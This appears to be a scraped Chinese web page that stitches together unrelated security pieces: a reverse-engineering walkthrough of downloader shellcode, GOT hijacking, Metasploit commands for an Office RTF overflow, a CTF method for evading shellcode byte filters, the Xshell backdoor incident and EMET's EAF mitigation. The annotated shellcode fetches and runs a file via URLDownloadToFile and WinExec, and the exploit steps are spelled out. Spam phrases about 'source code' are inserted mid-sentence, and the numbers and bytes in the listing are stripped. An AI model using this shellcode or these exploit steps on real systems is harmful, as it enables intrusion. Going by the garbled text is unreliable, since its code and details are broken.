十六进制代码怎么转换为hex文件?
文件有两种,一种是成源文本文件,一种是生生成程序二进制文件,不管哪种文件都可以用十六进制编码来显示,成源称为hex文件。生生成1、成源mantisbt源码文本Hex文件一般不需要转成C语言,生生成更多的成源是程序二进制文件,用十六进制显示,生生成可以转换成C语言,成源一般使用相应的生生成反汇编程序来实现,这方面的成源工具很多,不同的生生成平台略有不同。Windows平台一般常用的成源OllyDbg、Windbg、生生成IDA,Linux平台使用最多的是GDB和Linux版的IDA。
OllyDbg,简称OD,一般是软件逆向工程爱好者,最先使用的一个工具,但是因为当下不在更新,所以一般用一般用于学习使用,下图中左上角的区域即为反汇编区域 ,用户可以根据汇编指令,分析程序算法,然后自己编写代码。
在Windows平台,特别是x平台,最好用的反汇编工具除还得是Windbg。将程序载入Windbg后,可以输入u命令来查看程序的反汇编代码。
2、对于编程人员来说,逆向分析是一个基本的技能,但是往往不容易入门,这里举一个例子。以一段早些年ShellCode的十六进制代码为例,代码如下图所示,急诊留观源码这段不起眼的代码,实际上实现了一个下载者的功能。
拿到这样的十六进制代码,一般来说,先将其生成二进制文件,然后再分析其指令,通过反汇编指令再写出源码。只需要将上面的十六进制代码,保存到C语言的字符串数组中,写入到一个Exe的文件空段中,再修改指令将其跳转到程序入口处即可,这个过程类似于软件安全领域的壳。
将十六进制代码写入一个exe文件后,就可以将exe文件载入动态调试器进行动态分析或者使用静态反汇编程序进行静态分析,两者的不同在于动态调试器是要运行程序的,而静态反汇编分析不需要运行程序,所以一般恶意程序,都采用静态分析。反汇编开头的一段十六进制代码注释如下:
4AD 5A pop edx ; 函数返回的地址保存到edx中
4AD :A1 mov eax, dword ptr fs:[] ; 取peb
4AD 8B 0C mov eax, dword ptr [eax+C] ; peb_link
4ADB 8B 1C mov esi, dword ptr [eax+1C] ; 初始化列表到esi
4ADE AD lods dword ptr [esi] ; [esi]->eax + 8的位置即kernel.dll的地址
4ADF 8B mov eax, dword ptr [eax+8] ; eax=kernel.dll的地址
4AD 8BD8 mov ebx, eax ; ebx=kernel.dll的基址
4AD 8B 3C mov esi, dword ptr [ebx+3C] ; esi = pe头偏移
4AD 8BE mov esi, dword ptr [esi+ebx+] ; esi为kernel.dll导出表的偏移
4ADB F3 add esi, ebx ; esi = kernel.dll导出表的虚拟地址
4ADD 8B7E mov edi, dword ptr [esi+] ; edi=ent的偏移地址
4AD FB add edi, ebx ; edi = ent的虚拟地址
4AD 8B4E mov ecx, dword ptr [esi+] ; ecx = kernel.dll导出地址的个数
4AD ED xor ebp, ebp ; ebp=0
4AD push esi ; 保存导出表虚拟地址
4AD push edi ; 保存ent虚拟地址
4AD push ecx ; 保存计数
4ADA 8B3F mov edi, dword ptr [edi]
4ADC FB add edi, ebx ; 定位ent中的函数名
4ADE 8BF2 mov esi, edx ; esi为 要查询的函数GetProcAddress即该call的下一个地址是数据
4AD 6A 0E push 0E ; 0xe0是GetProcAddress函数的字符个数
4AD pop ecx ; 设置循环次数为 0xe
4AD F3:A6 repe cmps byte ptr es:[edi], byte ptr [esi] ; ecx!=0&&zf=1 ecx=ecx-1 cmps判断 GetProcAddress
4AD je short 4ADF ; 如果ENT中的函数名为GetProcAddress跳走
4AD pop ecx ; 不相等则将导出地址数出栈
4AD 5F pop edi ; ent虚拟地址出栈
4AD C7 add edi, 4 ; edi地址递增4字节 因为ENT的元素大小为4字节
4ADC inc ebp ; ebp用于保存ent中定位到GetProcAddress函数时的计数
4ADD ^ E2 E9 loopd short 4AD ; 循环查询
4ADF pop ecx
4AD 5F pop edi
4AD 5E pop esi
4AD 8BCD mov ecx, ebp ; 计数保存于ecx
4AD 8B mov eax, dword ptr [esi+] ; esi+0x Ordinal序号表偏移地址
4AD C3 add eax, ebx ; ordinal序号表的虚拟地址
4AD D1E1 shl ecx, 1 ; ecx逻辑增加2倍 因为ordinal序号是WOR类型下面是通过add 来求ordinal所以这里必须扩大2倍
4ADB C1 add eax, ecx
4ADD C9 xor ecx, ecx ; ecx=0
4ADF :8B mov cx, word ptr [eax] ; 保存取出的ordinal序号
4AD 8B 1C mov eax, dword ptr [esi+1C] ; eax 为kenrnel.dll的EAT的偏移地址
4AD > C3 add eax, ebx ; eax = kernel.dll的eat虚拟地址
4AD C1E1 shl ecx, 2 ; 同上,扩大4倍因为eat中元素为DWORD值
4ADA C1 add eax, ecx
4ADC 8B mov eax, dword ptr [eax] ; eax即为GetProcAddress函数的地址 相对虚拟地址,EAT中保存的RVA
4ADE C3 add eax, ebx ; 与基址相加求得GetProcAddress函数的虚拟地址
4AD 8BFA mov edi, edx ; GetProcAddress字符到edi
4AD 8BF7 mov esi, edi ; esi保存GetProcAddress地址
4AD C6 0E add esi, 0E ; esi指向GetProcAddress字符串的末地址
4AD 8BD0 mov edx, eax ; edx为GetProcAddress的地址
4AD 6A push 4
4ADB pop ecx ; ecx=4
有经验的程序员, 通过分析即明白上面反汇编代码的主要目的就是获取GetProcAddress函数的地址。继续看反汇编代码:
4ADC E8 call 4ADE1 ; 设置IAT 得到4个函数的地址
4AD C6 0D add esi, 0D ; 从这里开始实现ShellCode的真正功能
4AD push edx
4AD push esi ; urlmon
4AD FF FC call dword ptr [edi-4] ; 调用LoadLibrarA来加载urlmon.dll
4AD 5A pop edx ; edx = GetProcAddress的地址
4ADA 8BD8 mov ebx, eax
4ADC 6A push 1
4ADE pop ecx
4ADF E8 3D call 4ADE1 ; 再次设置 IAT 得到URLDownLoadToFileA
4ADA4 C6 add esi, ; esi指向URLDownLoadToFileA的末地址
4ADA7 push esi
4ADA8 inc esi
4ADA9 E cmp byte ptr [esi], ; 判断esi是否为0x 这里在原码中有0x如果要自己用,应该加上一个字节用于表示程序结束
4ADAC ^ FA jnz short 4ADA8 ; 跨过这个跳转,需要在OD中CTRL+E修改数据为0x
4ADAE xor byte ptr [esi],
4ADB1 5E pop esi
4ADB2 EC sub esp, ; 开辟 byte栈空间
4ADB5 > 8BDC mov ebx, esp ; ebx为栈区的指针
4ADB7 6A push
4ADB9 push ebx
4ADBA FF EC call dword ptr [edi-] ; 调用GetSystemDirectoryA得到系统目录
4ADBD C 5CE mov dword ptr [ebx+eax], EC ; ebx+0x 系统路径占 0x个字节
4ADC4 C mov dword ptr [ebx+eax+4], ; 拼接下载后的文件路径%systemroot%\system\a.exe
4ADCC C0 xor eax, eax
4ADCE push eax
4ADCF push eax
4ADD0 push ebx
4ADD1 push esi
4ADD2 push eax
4ADD3 > FF FC call dword ptr [edi-4] ; URLDownLoadToFile下载文件为a.exe
4ADD6 8BDC mov ebx, esp
4ADD8 push eax
4ADD9 push ebx
4ADDA FF F0 call dword ptr [edi-] ; WinExec执行代码
4ADDD push eax
4ADDE FF F4 call dword ptr [edi-C] ; ExitThread退出线程
接下来的操作便是通过已获得地址的GetProcAddress()来分别得到GetSystemDirectory()、URLDownLoadToFile()、WinExec()及ExitProcess()函数的地址,并依次执行。到这里实际上有经验的程序员,马上就能写出C语言代码来。 后面的数据区不在分析了,主要是介绍如何操作。
使用C语言,虽然知道了Hex文件的大致流程,但是一般来说,对于汇编指令,更倾向于直接使用asm关键字来使用内联汇编。神途引擎源码如下图所示:
通过这个实例 ,相信应该能理解一个大致的流程啦。
pwn基础— Got表劫持
随着技术的发展,攻击者越来越重视对软件的深入理解,其中对GOT(全局偏移表)的劫持技术成为了渗透测试中的一种重要手段。本文将对GOT表劫持的基础知识进行深入讲解,包括其原理、流程、检测方法、保护机制、源码分析以及利用脚本的编写和动态调试分析。
程序信息方面,我们以ELF程序为例。由于延迟绑定机制的存在,GOT是可以被修改的,这为攻击者提供了任意控制程序流程的可能性。劫持原理主要分为两步:首先,在未执行漏洞函数前,GOT中的特定地址存储着真实的函数地址;然后,通过执行漏洞函数,将该地址修改为攻击者想要的函数地址,如system函数,从而在再次调用原函数时,其行为被改变了。
检测保护机制时,通常使用检查安全工具来分析程序的安全性。在本例中,程序仅开启了Canary保护和部分RELRO保护,这意味着堆、栈、BSS段代码可执行,但GOT仍然可写。这为GOT劫持提供了条件。保护机制的全称为RELRO(Relocation Read-Only),通过设置全RELRO,可以防止GOT劫持,因为在加载时将所有函数绑定完成,网页大型游戏源码GOT被设置为不可写。
分析源码是理解攻击流程的关键步骤。题目直接提供了源码,通过仔细阅读,我们可以发现puts@plt地址和全局变量name的地址,这是进行GOT劫持和shellcode注入的基础。
编写利用脚本是将理论知识转化为实践的环节。通过编写并执行exp脚本,成功实现了getshell,验证了攻击流程的有效性。动态调试分析提供了更直观的视角,通过在关键位置设置断点,观察内存内容的变化,确认shellcode的注入和目标地址的修改,最终实现目标函数的劫持。
综上所述,GOT表劫持技术是渗透测试领域中一种复杂且强大的攻击手段。通过深入了解其原理、流程、保护机制和利用方法,可以有效提升安全意识和防御能力。对于开发者而言,及时更新安全保护机制,如全RELRO保护,可以有效防止GOT劫持,保障软件的安全性。
针对Office软件的渗透攻击实例MS-安全漏洞分析学习(index: metasploit)
针对Office软件的渗透攻击实例——MS-安全漏洞分析与学习
在Metasploit中搜索“ms_”,加载该模块并显示基本信息。该漏洞的原因是Office程序在处理特殊构造的RTF文件时,相应解析程序在处理名为pFragments的参数时存在栈缓冲区溢出错误,导致异常发生。RTF格式文件属于Word应用程序所处理的文件格式,一个后缀名为rtf的文件在更改后不影响其使用。Office 默认启用了DEP,同时存在ASLR机制,这使得对Office +Windows 7中该漏洞的利用变得更加困难,但并非不可能。项目外包网站源码利用MS-漏洞的实验并未以Win7为目标。
设置渗透模块的攻击载荷为运行一个计算器,以便于观察。在Metasploit中使用命令“use exploit/windows/fileformat/ms__rtf_pfragments_bof”加载模块,设置攻击载荷为“set payload windows/exec”并设置命令为“set CMD calc.exe”。设置文件名为“ms.rtf”并执行“exploit”。将生成的文件复制给目标机器,双击打开。
深入研究MS-漏洞的渗透攻击模块源代码。该模块范围从到,是一个典型的利用SEH(Structured Exception Handling)的方式,包含Ret和偏移量。变量sploit被填充到名为pFragments的属性参数中,导致缓冲区溢出。逆向分析该漏洞的机理,打开OD(OllyDbg)工具,打开Word进程(winword.exe)并设置断点,观察具体执行过程。
启动IDA Pro,加载mso.dll文件进行反汇编分析。在函数入口处设置断点,运行Word进程并打开测试文件。在函数执行过程中,观察到的数据复制指令会导致栈溢出。利用IDA Pro的图形反汇编视图查看关键信息,发现函数主要功能是复制字符串,涉及三个参数:数据源位置、复制次数和数据源寻址。
通过研究函数的反汇编代码,发现程序没有对输入参数进行检查或限制,这是产生漏洞的根本原因。修改mso.dll文件设置软件断点,观察测试文件利用SEH的过程。在经过超长的数据复制后,栈底附近的SEH链被修改。运行程序时,由于断点的设置或调试过程中的问题,导致报错并跳转到不可达地址。
文件格式分析部分详细介绍了RTF文档格式,包括文档头、图形相关信息、绘图属性、属性名和属性值等。分析了RTF漏洞的原因:在进行复制时未对复制次数进行检测,导致栈溢出。通过源代码展示了RTF解析pFragments属性的部分过程,揭示了复制次数控制的实现方式以及漏洞产生的原理。
基于Metasploit的POC(Proof of Concept)展示了漏洞利用原理,包括栈溢出导致SEH机制触发、异常处理和shellcode执行的过程。具体过程涉及栈溢出时将基本信息压入栈、后续压入直接跳转和执行shellcode的地址。通过构建RTF文档,设置了恰当的pFragments属性值,填充shellcode、directe和Ret等关键信息,最终实现攻击目的。
文件的基本格式构造强调了在构造RTF文档时,正确设置pFragments属性的重要性。构造过程涉及到属性值的前部填充、复制次数、shellcode填充、直接跳转和shellcode执行的地址构建。通过实验和分析,揭示了如何利用MS-漏洞进行渗透攻击。
CTFer成长日记:用动态生成的代码绕过程序的静态安全检查——shellcode敏感字节检测绕过
敏感字节检查绕过的基本原理,关键在于利用程序执行的动态特性。在执行时,若目标程序能允许某段内存被读写执行,我们就能尝试将shellcode注入,借此劫持程序执行流至shellcode首地址,实现ret2shellcode攻击。
然而,目标程序往往会对输入进行检查,发现敏感字节序列,如syscall、int等指令对应的机器码时,会拒绝输入,导致攻击失败。解决之道在于,编写一段可动态生成shellcode的代码。此代码本身不是shellcode,但能在执行中自动生成shellcode并执行,以此绕过敏感字节检查。
理解ret2shellcode攻击过程后,我们能设想编写代码动态生成shellcode。具体方法是删除或替换敏感字节,并在执行时恢复。通过对比原始与修改后的shellcode,我们发现,关键在于修改自身shellcode的代码。
为了生成直接可用的shellcode,需修改原始shellcode,确保满足特定条件,即敏感字节序列指令在执行前恢复。将用于修改自身的shellcode片段置于shellcode头部,确保敏感字节指令被执行前恢复,实现绕过。
接下来,通过实例题验证上述方法的有效性。自定义源代码,使用特定命令编译,关闭程序的防御机制。通过内存布局,利用shellcode长度与main函数返回地址之间的偏移,实现攻击。
针对原始shellcode中的敏感字节,利用pwntools提供的shellcraft.sh()函数修改,首先删去syscall指令,接着在汇编代码头部添加修改自身shellcode的代码,尾部补全syscall指令对应的机器码。通过异或操作,将敏感字节序列转换为可接受的序列。
最后,解决的问题是获取shellcode尾部地址。通过输出shellcode首地址的程序,结合生成等效shellcode,利用脚本获取机器码长度,最终编写攻击脚本完成整个过程。
“NetSarang的Xmanager和Xshell多种产品被植入后门事件”分析报告
NetSarang是一家提供安全连接解决方案的公司,产品包括Xmanager Enterprise, Xmanager, Xshell, Xftp, Xlpd等远程连接管理客户端软件。近期,官方发布的软件版本中被发现nssock2.dll模块源码被植入后门。阿里云应急响应团队随即启动应急分析,确认后门会上传敏感数据至服务器,使用该软件的IT运维技术人员面临较高安全风险。
受影响版本包括官方发布的多个版本。阿里云安全团队深入分析后发现,后门代码存在于Xshell相关的nssock2.dll中,该DLL具有厂商合法的数据签名。通过技术分析,发现该后门代码通过申请内存、解密并执行一段shellcode来上传用户、机器、网络相关信息至远程服务器,导致敏感信息泄露,风险严重。
阿里云安全团队建议用户关注并启动自查处理,具体措施参见安全建议部分。进一步的技术分析显示,后门代码通过DGA算法生成C2域名用于数据传输,使用该算法生成的年全年C2域名已公开。后门样本会采集用户、机器信息并发送至指定域名,存在数据泄露风险。
检测方法包括识别后门代码、检查数据上传行为及分析网络流量。针对安全风险,阿里云提供了安全解决方案,并在检测到后门代码后对外发布全网预警公告。更多技术细节和安全建议请关注云栖社区知乎机构号:阿里云云栖社区 - 知乎。
EMET下EAF机制分析以及模拟实现
在信息安全领域,EAF(Export Address Table Access Filtering)机制引起了广泛的关注,它是Enhanced Mitigation Experience Toolkit(EMET)中的关键组件,旨在提升系统安全。本文将深入探讨EAF的实现原理、模拟过程以及在实际应用中的操作策略,以帮助安全专业人士更好地理解和利用这一技术。
首先,让我们回顾一下EAF的核心概念。EAF是导出地址表(Export Address Table,EAT)访问过滤器,它能够在shellcode试图访问EAT时进行拦截和控制,从而限制恶意代码的执行权限。在代码层面,关键步骤包括注册异常处理函数(EAFVectoredHandler)和获取kernel.dll、ntdll.dll和kernelbase.dll等核心模块的EAT地址并设置断点。
在具体的实现流程中,首先,我们需要在系统中注册一个异常处理函数,如AddVectoredExceptionHandler(0, EAFVectoredHandler),这样当遇到STATUS_GUARD_PAGE_VIOLATION异常时,程序将进入我们的自定义处理逻辑。接着,通过定位kernel.dll等模块的EAT地址,并设置内存断点,确保在shellcode尝试访问这些敏感区域时能被捕捉到。一旦异常触发,程序会根据白名单策略决定是终止违规进程还是进行单步调试。
对于EAF的详细分析,重点在于理解异常处理函数的注册以及如何获取模块的EAT地址。通过添加内存断点并监控堆栈指针,我们能够有效地识别出企图访问EAT的shellcode。在白名单系统中,针对特定模块的内存保护尤为重要,例如ntdll.dll,通过设置PAGE_GUARD属性,我们可以在shellcode试图访问时立即触发异常。
为了模拟EAF,GitHub上有多个项目可供参考,如sheri/EMET_Simulator、codingtest/EMET,以及Maxwell/MemGuard.cpp。这些项目提供了实战代码示例,帮助我们更好地理解和应用EAF。在这些代码中,我们能看到如何在运行时检查堆栈指针的一致性,以及如何根据白名单策略处理shellcode异常。
在实际场景中,EAF的使用涉及对模块加载监控、堆栈寄存器检查和特定内存访问的拦截。通过在模块加载时设置内存断点,我们可以对shellcode的行为进行更精细化的控制。而在遇到shellcode访问受保护页面时,程序会根据白名单策略执行相应的处理,如终止进程或允许单步调试。
综上所述,EAF机制在EMET框架中扮演着至关重要的角色,通过模拟和理解其原理,安全专业人员可以更有效地保护系统免受恶意shellcode的攻击。GitHub上的项目和源代码提供了深入学习和实践的宝贵资源,帮助我们提升系统的安全防护能力。
2024-11-30 09:27
2024-11-30 09:14
2024-11-30 09:11
2024-11-30 08:30
2024-11-30 07:01